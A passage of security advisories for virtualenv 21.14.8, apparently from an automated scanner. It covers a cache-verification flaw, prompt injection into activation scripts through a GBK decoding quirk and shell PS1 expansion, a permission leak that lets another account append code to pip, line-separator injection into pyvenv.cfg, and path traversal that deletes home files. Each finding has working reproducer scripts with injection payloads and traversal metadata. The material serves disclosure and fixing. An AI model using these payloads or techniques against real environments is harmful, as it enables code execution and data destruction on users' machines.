    (index_dir / "simple" / project / "index.html").write_text("<!DOCTYPE html>\n" + "\n".join(links) + "\n")

repro.d/virtualenv_with_local_pypi_json.py

"""Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.

usage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>

Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.
pip, the index pip talks to and the rest of virtualenv are the real thing.
"""

import sys
from pathlib import Path
from unittest import mock

from virtualenv.__main__ import run_with_catch

pypi_dir = Path(sys.argv[1])


def pypi_json_api(url, context):
    assert url.startswith("https://pypi.org/pypi/") and context is None, url
    project = url.split("/")[4]
    return (pypi_dir / f"{project}.json").open("rb")


with mock.patch("virtualenv.seed.wheels.periodic_update.urlopen", pypi_json_api):
    run_with_catch(sys.argv[2:])

Impact

A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache.

Fix: PR #3430.

Known mitigation

After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.

Summary

Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment.

Affected area

Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure through unrelated activators.

Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script.

Affected code

The relevant 21.14.8 source is in xonsh quote(), UTF-8 template writer.

Mechanism

The generator writes activate.xsh as UTF-8. Its quote() used repr(), which leaves printable non-ASCII characters in the file and backslash-escapes an embedded quote. Xonsh's source reads the file using $XONSH_ENCODING. With GBK or Big5, the UTF-8 bytes of 中 end in 0xad, which pairs with the following 0x5c backslash as one decoded character. The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.

Reproduction and evidence

The original scanner finding, ANT-2026-PAUVP7YL, demonstrated this byte-level failure in activate_this.py: a hostile prompt loaded through exec(open(file).read(), ...) under GBK created a marker, while UTF-8 and runpy.run_path controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review. PR #3432 shows the xonsh source-decoding chain and changes quote() to ascii(), which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII, decodes it as GBK, and checks that ast.literal_eval returns the original prompt.

The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of the generated file. The original activate_this.py reproducer does not itself prove xonsh execution; that result is attributed to the separate review. Existing activate.xsh files must be regenerated after the fix.

Attack sequence

sequenceDiagram
    participant A as Prompt supplier
    participant V as virtualenv quote()
    participant F as activate.xsh bytes
    participant X as xonsh source
    A->>V: 中 plus escaped quote and statements
    V->>F: repr writes UTF-8 中 followed by backslash
    alt XONSH_ENCODING is UTF-8
        F->>X: backslash remains an escape
        X-->>A: prompt remains data
    else XONSH_ENCODING is GBK or Big5
        F->>X: decoder consumes backslash as trail byte
        X->>X: quote closes and statements run
    end
    Note over V,X: ascii() emits only ASCII bytes and preserves the literal

Reproducer files

The following files are from the scanner report for ANT-2026-PAUVP7YL. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree

work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"

# set up: a zh_CN.GBK locale, which the image does not ship
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}

# attacker: text that a tool relays as --prompt
# the payload's " makes repr() delimit with ' and write the prompt's own ' as \'
# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"

# user: creates the environment with the virtualenv command
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}")
print(f"activate_this.py read as GBK:   {prompt_line.decode('gbk')}")
assert not marker.exists(), "payload ran at creation time"

# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL  UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")

observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
ran_in_gbk_session = marker.exists()
print(f"OBSERVED GBK session:   {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")

# check: the prompt is data and must not run in either session
print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK")

repro.d/activate_with_exec_open.py

#!/usr/bin/env python3
# usage: activate_with_exec_open.py ENV_DIR
# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.
import locale
import os
import sys

this_file = os.path.join(sys.argv[1], "bin", "activate_this.py")
exec(open(this_file).read(), {"__file__": this_file})

print(f"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}")

repro.d/install_gbk_locale.py

#!/usr/bin/env python3
# usage: install_gbk_locale.py LOCPATH
# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.
import os
import subprocess
import sys

locpath = sys.argv[1]
os.makedirs(locpath)

charmap = ["<code_set_name> GBK", "<comment_char> %", "<escape_char> /", "<mb_cur_min> 1", "<mb_cur_max> 2", "CHARMAP"]
charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)]
for lead in range(0x81, 0xFF):
    for trail in range(0x40, 0xFF):
        try:
            char = bytes([lead, trail]).decode("gbk")
        except UnicodeDecodeError:
            continue
        charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}")
charmap.append("END CHARMAP")
with open(f"{locpath}/GBK.charmap", "w") as charmap_file:
    charmap_file.write("\n".join(charmap) + "\n")

# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below
source = "/tmp/repro.d/zh_CN_minimal.locale"
subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zh_CN.GBK"], capture_output=True)

gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": locpath}
codeset = subprocess.run(["locale", "charmap"], env=gbk_session, capture_output=True, text=True, check=True)
if codeset.stdout.strip() != "GBK" or codeset.stderr:
    sys.exit(f"zh_CN.GBK locale not usable: {codeset}")

repro.d/zh_CN_minimal.locale

comment_char %
escape_char /
% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which
% comes from the charmap given to localedef with -f.
LC_CTYPE
upper <U0041>..<U005A>
lower <U0061>..<U007A>
digit <U0030>..<U0039>
space <U0009>..<U000D>;<U0020>
cntrl <U0000>..<U001F>;<U007F>
punct <U0021>..<U002F>;<U003A>..<U0040>;<U005B>..<U0060>;<U007B>..<U007E>
xdigit <U0030>..<U0039>;<U0041>..<U0046>;<U0061>..<U0066>
blank <U0009>;<U0020>
END LC_CTYPE
LC_COLLATE
order_start forward
UNDEFINED
order_end
END LC_COLLATE

Impact

An affected activation can execute commands with the user's privileges. Severity is high, following the generated-script precedent in GHSA-p58f-9548-mpm2. The attack requires control of argument data and subsequent user activation; it does not require replacing an executable or controlling app-data contents.

Versions tested

The supplied follow-up review marks command execution as independently confirmed by its author. The implementation review used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation source is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation of the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.

Known mitigation

Use trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases. Recreate environments with virtualenv 21.14.9 or later.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

The original report was supplied by Anthropic's OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided review identified the remaining activation path.

Additional fix branch

PR #3411 also uses ASCII-only literals for paths and prompts, alongside its activation-state changes. Both branches must retain this quoting rule when integrated.

Summary

The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache populated under permissive permissions can therefore produce files with wider access in later environments.

Anthropic's OSS Scanner reported this as ANT-2026-487MH6OW in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Permissions of files copied from app-data into a new environment.

Attacker-controlled input

The cache must contain files created with broader permissions than the current environment creator intends. Another account must also be able to traverse the new environment and reach those files. A private parent directory prevents that access. No control of a private live cache is assumed.

Affected code

The relevant 21.14.8 source is in copy helpers.

Mechanism

The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with shutil.copy(). That function applies the cached source mode to each destination file after creating it, overriding the current run's umask. If the cache image was built under umask 000, a later environment created under umask 022 can receive mode-0666 pip files. The cache may be private while the new environment is reachable by other local accounts.

Reproduction and evidence

The scanner created two histories with separate private app-data caches. In the control, the owner's first run used umask 022; a later environment had no files writable by another account, and that account could not append to pip/__init__.py. In the attack history, the first run used umask 000 and the later run still used 022. The report counted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and bin/pip --version ran it as the environment owner. The cache itself remained under a mode-0700 home in both histories.

An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable destination. A mode-002 cache can expose group write access under suitable group permissions. The scanner dates app-data copy seeding to #1578, first released in 20.0.2. PR #3425 creates copied files under a fixed non-writable-by-others policy further restricted by the current umask.

Attack sequence

sequenceDiagram
    participant U as Environment owner
    participant C as Private app-data cache
    participant E as Later environment
    participant A as Other local account
    U->>C: first seed extraction under umask 000
    C-->>U: cached pip files have mode 0666
    U->>E: create environment under umask 022
    C->>E: shutil.copy reapplies mode 0666
    A->>E: append code to pip/__init__.py
    U->>E: run bin/pip --version
    E-->>U: appended code runs as owner

Reproducer files

The following files are from the scanner report for ANT-2026-487MH6OW. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import glob
import os
import shutil
import stat
import subprocess
import sys
from pathlib import Path

sys.stdout.reconfigure(line_buffering=True)  # keep these lines in order with those of the child processes
os.umask(0o022)  # for the directories made here as root
OWNER, OTHER_USER = 1000, 65534  # root is only needed to switch to these two unprivileged uids
VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"]  # default seeder; no network for the update check
# read here, as root: /tmp/repro.d need not be readable by the other user
ATTACK = Path("/tmp/repro.d/other_user_appends_to_pip.py").read_text()


def run_as_owner(command, home, umask):
    environ = {"HOME": str(home), "PATH": os.environ["PATH"]}
    subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)


def mode(path):
    return stat.filemode(os.stat(path).st_mode)


work = Path("/tmp/seed-mode-repro")
shutil.rmtree(work, ignore_errors=True)
work.mkdir()
proofs = work / "proofs"
proofs.mkdir()
proofs.chmod(0o777)  # the other user's line writes the uid it runs as in here

writable_by_others, appended_line_ran_as = {}, {}
# the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv
for case, umask_of_earlier_run in [("CONTROL", 0o022), ("OBSERVED", 0o000)]:
    # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path
    home = work / f"{case}-home"
    home.mkdir(mode=0o700)
    os.chown(home, OWNER, OWNER)
    projects = work / f"{case}-projects"
    projects.mkdir(mode=0o755)
    os.chown(projects, OWNER, OWNER)

    # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it
    run_as_owner([*VIRTUALENV, str(home / "earlier-env")], home, umask=umask_of_earlier_run)
    # owner, today
    env = projects / "env"
    run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)

    (cached_pip,) = glob.glob(f"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py")
    (seeded_pip,) = glob.glob(f"{env}/lib/python*/site-packages/pip/__init__.py")
    env_files = [path for path in env.rglob("*") if path.is_file() and not path.is_symlink()]
    writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH)
    print(f"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022")
    print(f"{case}   cache pip/__init__.py  {mode(cached_pip)}")
    print(f"{case}   env   pyvenv.cfg       {mode(env / 'pyvenv.cfg')}")
    print(f"{case}   env   bin/activate     {mode(env / 'bin' / 'activate')}")
    print(f"{case}   env   pip/__init__.py  {mode(seeded_pip)}")
    print(f"{case}   env files writable by others: {writable_by_others[case]} of {len(env_files)}")

    # attack: another local user appends a line to the owner's seeded pip
    proof = proofs / case
    subprocess.run(
        ["python3", "-", str(env), str(proof)],
        input=ATTACK,
        text=True,
        user=OTHER_USER,
        group=OTHER_USER,
        extra_groups=[],
        env={"PATH": os.environ["PATH"]},
        cwd="/",
        check=True,
    )

    # the owner uses the environment
    run_as_owner([str(env / "bin" / "pip"), "--version"], home, umask=0o022)
    appended_line_ran_as[case] = proof.read_text() if proof.exists() else None
    print(f"{case}   other user's line ran as uid: {appended_line_ran_as[case]}")

# check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier
control_is_private = writable_by_others["CONTROL"] == 0 and appended_line_ran_as["CONTROL"] is None
observed_runs_as_owner = writable_by_others["OBSERVED"] > 0 and appended_line_ran_as["OBSERVED"] == str(OWNER)
print("BUG" if control_is_private and observed_runs_as_owner else "OK")

repro.d/other_user_appends_to_pip.py

import glob
import sys

environment, proof = sys.argv[1:]
(pip_init,) = glob.glob(f"{environment}/lib/python*/site-packages/pip/__init__.py")
added_line = f"\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\n"

try:
    with open(pip_init, "a") as pip_source:
        pip_source.write(added_line)
    print(f"other user: appended a line to {pip_init}")
except PermissionError as error:
    print(f"other user: {error}")

Impact

Copied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those accounts to be able to traverse the destination's parent directories. An attacker need not control the private source cache.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix creates destination files with mode 0644, or 0755 for executable sources, filtered further by the current umask. It does not grant group or world write access, even with a permissive umask. Source modes are not preserved, including modes more restrictive than this creation policy.

Fix: PR #3425.

Known mitigation

Create environments beneath a directory accessible only to their owner. Recreate environments whose permissions were inherited from a permissive cache.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.

Summary

Caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment and draw the prompt.

Affected area

Bash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from newer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation. It does not establish exposure through unrelated activators.

Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script.

Affected code

The relevant 21.14.8 source is in bash prompt assembly.

Mechanism

bin/activate copies the prompt into PS1. A shell expands PS1 again when it draws a prompt, so the value must survive both the assignment and that later expansion. The bash and zsh branches escape for their usual prompt rules. Three other paths still interpret prompt data as commands: dash sourcing activate directly, a child dash inheriting an exported PS1 from bash, and bash running at compatibility level 4.2 or lower. A value such as x$(touch MARKER)y then runs touch on prompt display. Creating the environment does not run the payload.

Reproduction and evidence

The scanner's child-shell reproducer creates an environment with --prompt 'x$(touch MARKER)y', sources bin/activate in interactive bash, and starts interactive sh (dash). Its control leaves PS1 unexported: neither shell creates MARKER. With PS1 exported, bash displays the prompt without executing the value, but the child dash creates MARKER; the reproducer ends in BUG. The report gives separate console reproductions for direct dash activation and bash compatibility level 4.2. The child-shell path can arise after another environment's activation has exported PS1.

The scanner linked this finding to #3326 and its follow-up #3390. Those changes cover the usual bash path but leave the three paths above. The proposed change in #3418 keeps a variable reference in PS1, so prompt text is expanded as data when drawn. The private report's reproducer was run by the scanner; the later command-execution result was supplied by the maintainer review. This advisory does not claim that every POSIX shell or every bash mode is affected.

Introduced

The report traces direct dash sourcing to the first 20.x activator (20.0.0b1), and inherited PS1 to #3390 (first released in 21.14.7). It demonstrates the compatibility-level case on bash 5.2. Those historical boundaries come from the report; the release confirmed by the maintainer is 21.14.8.

Attack sequence

sequenceDiagram
    participant A as Prompt supplier
    participant V as virtualenv
    participant B as Interactive bash
    participant D as Child dash
    A->>V: --prompt x$(touch MARKER)y
    V->>B: generated bin/activate
    B->>B: assign escaped prompt to PS1
    alt PS1 is not exported
        B->>D: start sh with its own PS1
        D-->>B: marker absent
    else PS1 is exported
        B->>D: start sh with inherited PS1
        D->>D: expand $(touch MARKER) on prompt draw
        D-->>B: marker created
    end

Reproducer files

The following files are from the scanner report for ANT-2026-1MOI2X3T. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

work = Path("/tmp/repro-inherited-ps1")
shutil.rmtree(work, ignore_errors=True)
work.mkdir()
marker = work / "MARKER"
print("sh is", Path("/bin/sh").resolve())

# attacker: only the text a tool such as tox or hatch relays as --prompt
hostile_prompt = f"x$(touch {marker})y"

# set up: the environment, made with the virtualenv command
subprocess.run(
    ["virtualenv", "--no-periodic-update", "--without-pip", "--activators", "bash",
     "--prompt", hostile_prompt, str(work / "env")],
    check=True, stdout=subprocess.DEVNULL,
)
assert not marker.exists(), "creating the environment must not run the prompt"

# user: in an interactive bash, source bin/activate, then start sh.
# -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns
session = Path("/tmp/repro.d/user_session.sh").read_text()
interactive_bash = ["bash", "--norc", "--noprofile", "-i"]

# control: PS1 set in bash but not exported, so sh does not inherit it
control = subprocess.run(interactive_bash, input="PS1='\\$ '\n" + session,
                         stderr=subprocess.PIPE, text=True, check=True)
print(control.stderr)
ran_in_control = marker.exists()
print("CONTROL  PS1 not exported: marker created:", ran_in_control)

# attack: the same session with the one difference that PS1 is exported
attack = subprocess.run(interactive_bash, input="export PS1='\\$ '\n" + session,
                        stderr=subprocess.PIPE, text=True, check=True)
print(attack.stderr)
ran_in_attack = marker.exists()
print("OBSERVED PS1 exported:     marker created:", ran_in_attack)

# check: the prompt text must be drawn, never run, by every shell that draws it
print("BUG" if ran_in_attack and not ran_in_control else "OK")

repro.d/user_session.sh

. /tmp/repro-inherited-ps1/env/bin/activate
sh -i </dev/null

Impact

An affected activation can execute commands with the user's privileges. Severity is high, following the generated-script precedent in GHSA-p58f-9548-mpm2. The attack requires control of argument data and subsequent user activation; it does not require replacing an executable or controlling app-data contents.

Versions tested

The supplied follow-up review marks command execution as independently confirmed by its author. The implementation review used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation source is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation of the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.

Known mitigation

Use trusted prompt and destination values. On older releases, disable the environment prompt with VIRTUAL_ENV_DISABLE_PROMPT=1. Recreate environments with virtualenv 21.14.9 or later.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

The original report was supplied by Anthropic's OSS Scanner as ANT-2026-1MOI2X3T. The subsequent maintainer-provided review identified the remaining activation path.

Summary

The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Configuration readback by the stdlib venv creator.

Attacker-controlled input

An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

Affected code

The relevant 21.14.8 source is in venv readback, configuration parser.

Mechanism

With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

Reproduction and evidence

The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

Attack sequence

sequenceDiagram
    participant A as Destination supplier
    participant S as stdlib venv
    participant V as virtualenv readback
    participant C as Final pyvenv.cfg
    participant P as Environment Python
    A->>S: path contains U+2028 and home = /attacker/chosen
    S->>C: write path inside command value
    V->>C: read with splitlines()
    V->>V: parse suffix as separate keys
    V->>C: rewrite home and include-system-site-packages
    P->>C: read injected keys on startup
    C-->>P: sys._home changes and isolation is disabled

Reproducer files

The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess

work = "/tmp/repro-venv-creator-cfg"
shutil.rmtree(work, ignore_errors=True)

# the attacker's input: the text of a destination path.
# U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
# The slashes only make nested directories; the last key, x, absorbs the rest of the path.
LS = "\u2028"
dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"

base_python = os.path.realpath(shutil.which("python"))
real_home = os.path.dirname(base_python)


def pyvenv_cfg_lines(env):
    # split on "\n" only, as the interpreter does
    return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")


def sys_home(env):
    # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
    probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()


# control: the same path through the standard library alone
stdlib_env = dest + "-stdlib"
subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)

# attack: the same path through virtualenv; --creator venv is the one non-default option
virtualenv_env = dest + "-virtualenv"
created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
if created.returncode != 0:  # refusing such a destination is a valid fix
    print("virtualenv refused the destination")
    print("OK")
    raise SystemExit

# check
stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)

print("CONTROL  python -m venv wrote pyvenv.cfg:")
for line in stdlib_cfg:
    print("    " + ascii(line))
print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
for line in virtualenv_cfg:
    print("    " + ascii(line))
print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")

keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")

Impact

Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

Fix: PR #3426.

Known mitigation

Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.

Summary

The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.

Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Removal of a previously installed seed package.

Attacker-controlled input

An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.

Affected code

The relevant 21.14.8 source is in seed uninstall.

Mechanism

Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins each entry to site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing seed-package metadata; --clear removes that tree first.

Reproduction and evidence

The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its top_level.txt contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths. A control tree with top_level.txt set to pip and a normal pip/__init__.py RECORD entry left the home files in place. The reproducer prints BUG only when the control files survive and both attack targets disappear.

The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. PR #3428 checks each deletion path against the resolved environment root and refuses to delete the root itself.

Attack sequence

sequenceDiagram
    participant A as Prepared .venv metadata
    participant V as App-data seeder
    participant P as site-packages
    participant H as User home
    A->>P: top_level.txt names ../../../../../Documents
    A->>P: RECORD names ../../../../../notes.txt
    V->>P: read pip-1.0.dist-info before reinstall
    P->>H: join entries without containment check
    V->>H: remove Documents and notes.txt
    V-->>A: virtualenv exits successfully

Reproducer files

The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")


def make_home(name):
    home = work / name
    (home / "Documents" / "thesis").mkdir(parents=True)
    (home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
    (home / "notes.txt").write_text("my notes\n")
    return home


def unpack_attacker_project(home, top_level_line, record_line):
    subprocess.run(
        [sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
        check=True,
    )


def user_runs_virtualenv(home):
    # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
    result = subprocess.run(
        ["virtualenv", "--no-periodic-update", ".venv"],
        cwd=home / "project",
        env={**os.environ, "HOME": str(home)},
        stdout=subprocess.PIPE,
        text=True,
        check=True,
    )
    print(result.stdout, end="")


def files_left(home):
    return [f for f in USER_FILES if (home / f).exists()]


# control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL  user files still in ~ after virtualenv: {control_left}")

# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE   user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")

# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")

repro.d/make_project_tree.py

#!/usr/bin/env python3
import sys
from pathlib import Path

project = Path(sys.argv[1])
